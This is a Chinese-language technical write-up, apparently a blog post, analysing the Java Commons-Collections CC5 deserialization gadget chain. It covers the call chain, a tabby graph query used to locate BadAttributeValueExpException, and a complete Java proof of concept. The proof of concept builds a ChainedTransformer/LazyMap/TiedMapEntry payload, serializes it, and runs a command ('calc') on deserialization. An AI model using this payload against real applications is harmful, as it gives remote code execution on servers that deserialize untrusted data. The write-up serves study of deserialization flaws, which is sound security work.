一,链条总览
BadAttributeValueExpException .readObject()
-> BadAttributeValueExpException .val.toString()
->val.toString()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->map.get(key)
->LazyMap.get()
->ChainedTransformer.transform
->…
->命令执行
二,分析调用
在 cc6 中利用 TiedMapEntry 类在进行反序列化时会调用 hashcode 方法堆 key 进行重新排序时触发的 getKey 方法导致链条执行,而 TiedMapEntry 中还有一个方法也可以调用 getKey

可以看到类中还有一个 toString 方法,同样会调用 getKey 方法,那我们只需要找到一个类能在反序列化时自动触发 toString 方法,并且方法的属性可控,那我们就可以构造一条新的链子
这里我使用 tabby 工具来查找,用下列查询语句简单的找一下在 readObject 方法中调用了 toString 方法类,看能不能找到网上 cc5 利用的类:
MATCH path=(m
WHERE m.NAME=“readObject”
AND t.NAME=“toString”
RETURN path
LIMIT 100

可以看到的确找到了 BadAttributeValueException 这个类
三,分析

简单看一下这个类,在 反序列化时调用了 valObj.toString ,而这个 val 属性恰巧是我们能在构造是控制的输入,且在大多时候时 getSucurityManager 关闭,满足判断语句,调用 valObj.toString()也就调用 TiedMapEntry.toString()
public class App { public static void main(String[] args) throws Exception { Transformer[] evilChain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} ), }; ChainedTransformer chained = new ChainedTransformer(evilChain); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chained);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); valField.setAccessible(true); valField.set(bad, tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5-ser")); oos.writeObject(bad); oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5-ser")); ois.readObject(); ois.close(); }}直接给出代码,整体利用流程和 cc6 十分类似
值得注意一点的是在 BadAtrributeValueExpException 这个类的构造方法时需要传 null
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
因为构造函数开始就会检测 val 是否为空,不为空的话就会调用 toString 方法提前触发来链子并导致后续链子不可利用
public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString();}